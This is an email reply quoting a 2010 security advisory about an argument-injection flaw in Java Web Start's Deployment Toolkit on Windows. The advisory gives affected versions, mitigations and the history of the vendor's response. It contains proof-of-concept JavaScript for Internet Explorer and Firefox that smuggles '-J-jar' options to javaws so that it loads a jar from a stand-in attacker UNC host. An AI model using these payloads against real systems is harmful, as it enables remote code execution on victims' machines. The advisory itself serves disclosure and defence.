jws seems to be one of those gifts that keeps on giving. I don't have
actual numbers, but it seems to me I see it mentioned regularly in their
vulnerability reports.

-----Original Message-----
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Tavis
Sent: Friday, April 09, 2010 7:08 AM
To: full-disclosure@lists.grok.org.uk
Subject: [Full-disclosure] Java Deployment Toolkit Performs
InsufficientValidation of Parameters

Java Deployment Toolkit Performs Insufficient Validation of Parameters

Java Web Start (henceforth, jws) provides java developers with a way to
users launch and install their applications using a URL to a Java
Launching Protocol (.jnlp) file (essentially some xml describing the

Since Java 6 Update 10, Sun has distributed an NPAPI plugin and ActiveX
called "Java Deployment Toolkit" to provide developers with a simpler
of distributing their applications to end users. This toolkit is
installed by
default with the JRE and marked safe for scripting.

The launch() method provided by the toolkit object accepts a URL string,
it passes to the registered handler for JNLP files, which by default is
javaws utility.

$ cmd /c ver
Microsoft Windows XP [Version 5.1.2600]

$ java -version
java version "1.6.0_19"
Java(TM) SE Runtime Environment (build 1.6.0_19-b04)
Java HotSpot(TM) Client VM (build 16.2-b04, mixed mode, sharing)

$ cat
"C:\Program Files\Java\jre6\bin\javaws.exe" "%1"

The toolkit provides only minimal validation of the URL parameter,
allowing us
to pass arbitrary parameters to the javaws utility, which provides
functionality via command line arguments to allow this error to be

The simplicity with which this error can be discovered has convinced me
that releasing this document is in the best interest of everyone except
the vendor.

Affected Software

All versions since Java SE 6 update 10 for Microsoft Windows are
believed to be
affected by this vulnerability. Disabling the java plugin is not
sufficient to
prevent exploitation, as the toolkit is installed independently.


I believe non-Windows installations are unaffected.


Exploitation of this issue is not terribly exciting, but is potentially
of high
enough impact to merit explanation. The javaws application supports the
following command line parameters.

$ javaws -help
Usage:  javaws [run-options] <jnlp-file>    
        javaws [control-options]        
where run-options include:          
  -verbose          display additional output   
  -offline          run the application in offline mode 
  -system           run the application from the system cache only
  -Xnosplash        run without showing a splash screen 
  -J<option>        supply option to the vm 
  -wait             start java process and wait for its exit    
control-options include:    
  -viewer           show the cache viewer in the java control panel
  -uninstall        remove all applications from the cache
  -uninstall <jnlp-file>                remove the application from the
  -import [import-options] <jnlp-file>  import the application to the
import-options include:                     
  -silent           import silently (with no user interface)    
  -system           import application into the system cache    
  -codebase <url>   retrieve resources from the given codebase  
  -shortcut         install shortcuts as if user allowed prompt 
  -association      install associations as if user allowed prompt  

Perhaps the most interesting of these is -J, and the obvious attack is
to add -jar followed by an attacker controlled UNC path to the jvm
line, which I've demonstrated below. Other attacks are clearly possible,
this is sufficient to demonstrate the problem.

In order to trigger this attack in Internet Explorer, an attacker would
use a
code sequence like this

/* ... */
var o = document.createElement("OBJECT");

o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
/* ... */

Or, for Mozilla Firefox

/* ... */
var o = document.createElement("OBJECT");

o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit"


o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
/* ... */

Please note, at some point the registered MIME type was changed to
application/java-deployment-toolkit, please verify which type applies to
your users when verifying any mitigation implemented has been effective
simplest way would be to look at the output of about:plugins on a

A harmless demonstration is provided at the URL below.



If you believe your users may be affected, you should consider applying
one of
the workarounds described below as a matter of urgency.

- Internet Explorer users can be protected by temporarily setting the
  on CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. To the best of my knowledge,
  deployment toolkit is not in widespread usage and is unlikely to
impact end

- Mozilla Firefox and other NPAPI based browser users can be protected
  File System ACLs to prevent access to npdeploytk.dll. These ACLs can
also be
  managed via GPO.

Detailed documentation on killbits is provided by Microsoft here


Domain administrators can deploy killbits and File System ACLs using
GPOs, for
more information on Group Policy, see Microsoft's Group Policy site,


You may be tempted to kill the HKLM\...\JNLPFile\Shell\Open\Command key,
the author does not believe this is sufficient, as the plugin also
enough functionality to install and downgrade JRE installations without
prompting (seriously). However, if none of your affected users are local
Administrators, this solution may work (untested).

As always, if you do not require this feature, consider permanently
it in order to reduce attack surface.


Sun has been informed about this vulnerability, however, they informed
me they
do not consider this vulnerability to be of high enough priority to
break their
quarterly patch cycle.

For various reasons, I explained that I did did not agree, and intended
publish advice to temporarily disable the affected control until a
solution is


This bug was discovered by Tavis Ormandy.

This work is my own, and all of the opinions expressed are mine, not my
employers or anybody elses (I added this for you, Dan. Thanks ;-)).


Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP,
ScaryBeasts, Headhntr, Jagger, Sami and Roach.

Some very elite friends have started a consultancy called inverse path,
should really hire them.



- Deploying Java with JNLP, Sun Microsystems.


My advisories are intended to be consumed by a technical audience of
professionals and systems administrators who are familiar with the
for which the mailing list you have subscribed to is named. If you do
not fall
into this category, you can get up to speed by reading this accessible
balanced essay on the disclosure debate by Bruce Schneier.


Some of us would appreciate it if you made the effort to research and
understand the issues involved before condemning us :-)

tav...@sdf.lonestar.org | finger me for my gpg key.

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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

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